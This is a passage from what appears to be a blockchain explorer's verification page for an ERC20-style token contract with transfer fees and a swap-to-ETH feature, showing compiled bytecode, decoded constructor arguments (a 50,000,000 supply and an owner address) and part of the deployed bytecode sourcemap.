fffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b636115b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be69061298d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610cb890612913565b80601f0160208091040260200160405190810160405280929190818152602001828054610ce490612913565b8015610d2f5780601f10610d0657610100808354040283529160200191610d2f565b820191905f5260205f20905b815481529060010190602001808311610d1257829003601f168201915b5050505050905090565b600d5481565b5f610dfd610d4b6115b8565b84610df8856040518060600160405280602581526020016131856025913960075f610d746115b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b689092919063ffffffff16565b6115bf565b6001905092915050565b600c5481565b5f610e20610e196115b8565b8484611782565b506001905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610ea86115b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b9061298d565b60405180910390fd5b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc691906129bf565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561102b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061104f91906129bf565b6040518363ffffffff1660e01b815260040161106c9291906129ea565b602060405180830381865afa158015611087573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110ab91906129bf565b91505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611236578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611129573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114d91906129bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111d691906129bf565b6040518363ffffffff1660e01b81526004016111f39291906129ea565b6020604051808303815f875af115801561120f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061123391906129bf565b91505b8160135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360166101000a81548160ff021916908315150217905550600160095f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050919050565b601360149054906101000a900460ff1681565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b601360169054906101000a900460ff1681565b6113fd6115b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611489576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114809061298d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ee90612a81565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361162d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162490612b0f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361169b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169290612b9d565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161177591906127b8565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036117f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e890612c2b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361185f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185690612cb9565b60405180910390fd5b5f82116118a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189890612d47565b60405180910390fd5b601360159054906101000a900460ff16156118c8576118c1848484611c70565b9050611b61565b5f6118d230610aee565b90505f60115482101590508080156118f75750601360159054906101000a900460ff16155b801561194a575060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156119625750601360169054906101000a900460ff165b1561198d57601360149054906101000a900460ff16156119825760115491505b61198c8287611e3a565b5b611a14846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b689092919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f611a61878787611f0e565b9050611ab38160065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1390919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b5191906127b8565b60405180910390a3600193505050505b9392505050565b5f838311158290611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba691906125da565b60405180910390fd5b505f8385611bbd9190612d92565b9050809150509392505050565b5f611c0b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b68565b905092915050565b5f808284611c219190612dc5565b905083811015611c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5d90612e42565b60405180910390fd5b8091505092915050565b5f611cf8826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b689092919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611d898260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1390919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e2791906127b8565b60405180910390a3600190509392505050565b6001601360156101000a81548160ff0219169083151502179055505f611e926002611e84600d54611e76600a548861212890919063ffffffff16565b61219f90919063ffffffff16565b61219f90919063ffffffff16565b90505f611ea88285611bca90919063ffffffff16565b9050611eb481846121e8565b5f4790505f811115611eed57611eec600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826124a7565b5b5050505f601360156101000a81548160ff0219169083151502179055505050565b5f805f905060095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611f9157611f8a6064611f7c600e548661212890919063ffffffff16565b61219f90919063ffffffff16565b905061200c565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561200b576120086064611ffa600f548661212890919063ffffffff16565b61219f90919063ffffffff16565b90505b5b5f81111561210b576120648160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1390919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161210291906127b8565b60405180910390a35b61211e8184611bca90919063ffffffff16565b9150509392505050565b5f808303612138575f9050612199565b5f82846121459190612e60565b90508284826121549190612ece565b14612194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218b90612f6e565b60405180910390fd5b809150505b92915050565b5f6121e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124ef565b905092915050565b5f600367ffffffffffffffff81111561220457612203612f8c565b5b6040519080825280602002602001820160405280156122325781602001602082028036833780820191505090505b50905030815f8151811061224957612248612fb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050818160018151811061229857612297612fb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561233c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061236091906129bf565b8160028151811061237457612373612fb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123da3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856115bf565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8430426040518663ffffffff1660e01b815260040161243c9594939291906130d6565b5f604051808303815f87803b158015612453575f80fd5b505af1158015612465573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7838260405161249a92919061312e565b60405180910390a1505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156124ea573d5f803e3d5ffd5b505050565b5f8083118290612535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252c91906125da565b60405180910390fd5b505f83856125439190612ece565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561258757808201518184015260208101905061256c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6125ac82612550565b6125b6818561255a565b93506125c681856020860161256a565b6125cf81612592565b840191505092915050565b5f6020820190508181035f8301526125f281846125a2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612627826125fe565b9050919050565b6126378161261d565b8114612641575f80fd5b50565b5f813590506126528161262e565b92915050565b5f819050919050565b61266a81612658565b8114612674575f80fd5b50565b5f8135905061268581612661565b92915050565b5f80604083850312156126a1576126a06125fa565b5b5f6126ae85828601612644565b92505060206126bf85828601612677565b9150509250929050565b5f8115159050919050565b6126dd816126c9565b82525050565b5f6020820190506126f65f8301846126d4565b92915050565b5f612706826125fe565b9050919050565b612716816126fc565b82525050565b5f60208201905061272f5f83018461270d565b92915050565b5f819050919050565b5f61275861275361274e846125fe565b612735565b6125fe565b9050919050565b5f6127698261273e565b9050919050565b5f61277a8261275f565b9050919050565b61278a81612770565b82525050565b5f6020820190506127a35f830184612781565b92915050565b6127b281612658565b82525050565b5f6020820190506127cb5f8301846127a9565b92915050565b5f805f606084860312156127e8576127e76125fa565b5b5f6127f586828701612644565b935050602061280686828701612644565b925050604061281786828701612677565b9150509250925092565b61282a8161261d565b82525050565b5f6020820190506128435f830184612821565b92915050565b5f60ff82169050919050565b61285e81612849565b82525050565b5f6020820190506128775f830184612855565b92915050565b5f60208284031215612892576128916125fa565b5b5f61289f84828501612644565b91505092915050565b5f80604083850312156128be576128bd6125fa565b5b5f6128cb85828601612644565b92505060206128dc85828601612644565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061292a57607f821691505b60208210810361293d5761293c6128e6565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61297760208361255a565b915061298282612943565b602082019050919050565b5f6020820190508181035f8301526129a48161296b565b9050919050565b5f815190506129b98161262e565b92915050565b5f602082840312156129d4576129d36125fa565b5b5f6129e1848285016129ab565b91505092915050565b5f6040820190506129fd5f830185612821565b612a0a6020830184612821565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a6b60268361255a565b9150612a7682612a11565b604082019050919050565b5f6020820190508181035f830152612a9881612a5f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612af960248361255a565b9150612b0482612a9f565b604082019050919050565b5f6020820190508181035f830152612b2681612aed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b8760228361255a565b9150612b9282612b2d565b604082019050919050565b5f6020820190508181035f830152612bb481612b7b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c1560258361255a565b9150612c2082612bbb565b604082019050919050565b5f6020820190508181035f830152612c4281612c09565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ca360238361255a565b9150612cae82612c49565b604082019050919050565b5f6020820190508181035f830152612cd081612c97565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d3160298361255a565b9150612d3c82612cd7565b604082019050919050565b5f6020820190508181035f830152612d5e81612d25565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d9c82612658565b9150612da783612658565b9250828203905081811115612dbf57612dbe612d65565b5b92915050565b5f612dcf82612658565b9150612dda83612658565b9250828201905080821115612df257612df1612d65565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612e2c601b8361255a565b9150612e3782612df8565b602082019050919050565b5f6020820190508181035f830152612e5981612e20565b9050919050565b5f612e6a82612658565b9150612e7583612658565b9250828202612e8381612658565b91508282048414831517612e9a57612e99612d65565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ed882612658565b9150612ee383612658565b925082612ef357612ef2612ea1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f5860218361255a565b9150612f6382612efe565b604082019050919050565b5f6020820190508181035f830152612f8581612f4c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f613009613004612fff84612fe6565b612735565b612658565b9050919050565b61301981612fef565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6130518161261d565b82525050565b5f6130628383613048565b60208301905092915050565b5f602082019050919050565b5f6130848261301f565b61308e8185613029565b935061309983613039565b805f5b838110156130c95781516130b08882613057565b97506130bb8361306e565b92505060018101905061309c565b5085935050505092915050565b5f60a0820190506130e95f8301886127a9565b6130f66020830187613010565b8181036040830152613108818661307a565b90506131176060830185612821565b61312460808301846127a9565b9695505050505050565b5f6040820190506131415f8301856127a9565b8181036020830152613153818461307a565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f91ccc3c96ab8f55253126607f6d3d7d23bde7a321909f01d83a6b3754662d7864736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000002faf0800000000000000000000000008a9ed2d098e3c3e22b27c3491da4e49045e6a93d

-----Decoded View---------------
Arg [0] : supply (uint256): 50000000
Arg [1] : owner (address): 0x8a9Ed2D098e3c3E22b27C3491Da4E49045e6a93D

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000002faf080
Arg [1] : 0000000000000000000000008a9ed2d098e3c3e22b27c3491da4e49045e6a93d


Deployed Bytecode Sourcemap

14130:11456:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16894:76;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18049:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14549:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15456:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17160:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19882:323;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14650:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18552:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17069:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17546:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15073:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6211:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15127:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15168;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17268:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5602:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5816:138;;;;;;;;;;;;;:::i;:::-;;16978:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15245:43;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17772:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15209:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18916:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5478:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15297:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15504;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14443:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19091:783;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15537:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17395:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15609:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5962:241;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15330:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16894:76;16931:13;16957:5;16950:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16894:76;:::o;18049:150::-;18124:4;18141:39;18150:12;:10;:12::i;:::-;18164:7;18173:6;18141:8;:39::i;:::-;18191:4;18184:11;;18049:150;;;;:::o;14549:94::-;;;;;;;;;;;;;:::o;15456:41::-;;;;;;;;;;;;;:::o;17160:100::-;17213:7;17240:12;;17233:19;;17160:100;:::o;19882:323::-;19980:4;19997:46;20007:6;20025:9;20036:6;19997:9;:46::i;:::-;;20054:121;20063:6;20071:12;:10;:12::i;:::-;20085:89;20123:6;20085:89;;;;;;;;;;;;;;;;;:11;:19;20097:6;20085:19;;;;;;;;;;;;;;;:33;20105:12;:10;:12::i;:::-;20085:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;20054:8;:121::i;:::-;20193:4;20186:11;;19882:323;;;;;:::o;14650:71::-;;;;;;;;;;;;;:::o;18552:128::-;18605:7;18632:40;18649:22;18659:11;;;;;;;;;;;18649:9;:22::i;:::-;18632:12;;:16;;:40;;;;:::i;:::-;18625:47;;18552:128;:::o;17069:83::-;17110:5;17135:9;;;;;;;;;;;17128:16;;17069:83;:::o;17546:218::-;17634:4;17651:83;17660:12;:10;:12::i;:::-;17674:7;17683:50;17722:10;17683:11;:25;17695:12;:10;:12::i;:::-;17683:25;;;;;;;;;;;;;;;:34;17709:7;17683:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;17651:8;:83::i;:::-;17752:4;17745:11;;17546:218;;;;:::o;15073:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;6211:85::-;6251:7;6278:15;6271:22;;6211:85;:::o;15127:34::-;;;;:::o;15168:::-;;;;:::o;17268:119::-;17334:7;17361:9;:18;17371:7;17361:18;;;;;;;;;;;;;;;;17354:25;;17268:119;;;:::o;5602:79::-;5640:7;5667:6;;;;;;;;;;;5660:13;;5602:79;:::o;5816:138::-;5739:12;:10;:12::i;:::-;5729:22;;:6;;;;;;;;;;:22;;;5721:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5920:1:::1;5883:40;;5904:6;::::0;::::1;;;;;;;;5883:40;;;;;;;;;;;;5944:1;5927:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5816:138::o:0;16978:83::-;17017:13;17050:7;17043:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16978:83;:::o;15245:43::-;;;;:::o;17772:269::-;17865:4;17882:129;17891:12;:10;:12::i;:::-;17905:7;17914:96;17953:15;17914:96;;;;;;;;;;;;;;;;;:11;:25;17926:12;:10;:12::i;:::-;17914:25;;;;;;;;;;;;;;;:34;17940:7;17914:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;17882:8;:129::i;:::-;18029:4;18022:11;;17772:269;;;;:::o;15209:29::-;;;;:::o;18916:167::-;18994:4;19011:42;19021:12;:10;:12::i;:::-;19035:9;19046:6;19011:9;:42::i;:::-;;19071:4;19064:11;;18916:167;;;;:::o;5478:21::-;;;;;;;;;;;;:::o;15297:26::-;;;;:::o;15504:::-;;;;;;;;;;;;;:::o;14443:99::-;;;;;;;;;;;;;:::o;19091:783::-;19162:22;5739:12;:10;:12::i;:::-;5729:22;;:6;;;;;;;;;;:22;;;5721:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;19199:35:::1;19256:15;;;;;;;;;;;19199:73;;19320:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19302:53;;;19364:4;19371:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19302:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19285:110;;19437:1;19411:28;;:14;:28;;::::0;19408:218:::1;;19525:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19507:74;;;19590:4;19597:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19507:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19490:131;;19408:218;19652:14;19638:11;;:28;;;;;;;;;;;;;;;;;;19737:16;19700:15;;:54;;;;;;;;;;;;;;;;;;19810:4;19790:17;;:24;;;;;;;;;;;;;;;;;;19862:4;19825:12;:34;19846:11;;;;;;;;;;;19825:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;19186:688;19091:783:::0;;;:::o;15537:37::-;;;;;;;;;;;;;:::o;17395:143::-;17476:7;17503:11;:18;17515:5;17503:18;;;;;;;;;;;;;;;:27;17522:7;17503:27;;;;;;;;;;;;;;;;17496:34;;17395:143;;;;:::o;15609:29::-;;;;;;;;;;;;;:::o;5962:241::-;5739:12;:10;:12::i;:::-;5729:22;;:6;;;;;;;;;;:22;;;5721:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6071:1:::1;6051:22;;:8;:22;;::::0;6043:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6161:8;6132:38;;6153:6;::::0;::::1;;;;;;;;6132:38;;;;;;;;;;;;6190:8;6181:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5962:241:::0;:::o;15330:27::-;;;;:::o;103:115::-;156:15;199:10;184:26;;103:115;:::o;18207:335::-;18317:1;18300:19;;:5;:19;;;18292:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18398:1;18379:21;;:7;:21;;;18371:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18480:6;18450:11;:18;18462:5;18450:18;;;;;;;;;;;;;;;:27;18469:7;18450:27;;;;;;;;;;;;;;;:36;;;;18518:7;18502:32;;18511:5;18502:32;;;18527:6;18502:32;;;;;;:::i;:::-;;;;;;;;18207:335;;;:::o;20213:1293::-;20300:4;20345:1;20327:20;;:6;:20;;;20319:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;20429:1;20408:23;;:9;:23;;;20400:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;20499:1;20490:6;:10;20482:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;20560:16;;;;;;;;;;;20557:942;;;20600:41;20615:6;20623:9;20634:6;20600:14;:41::i;:::-;20593:48;;;;20557:942;20694:28;20725:24;20743:4;20725:9;:24::i;:::-;20694:55;;20764:28;20819:24;;20795:20;:48;;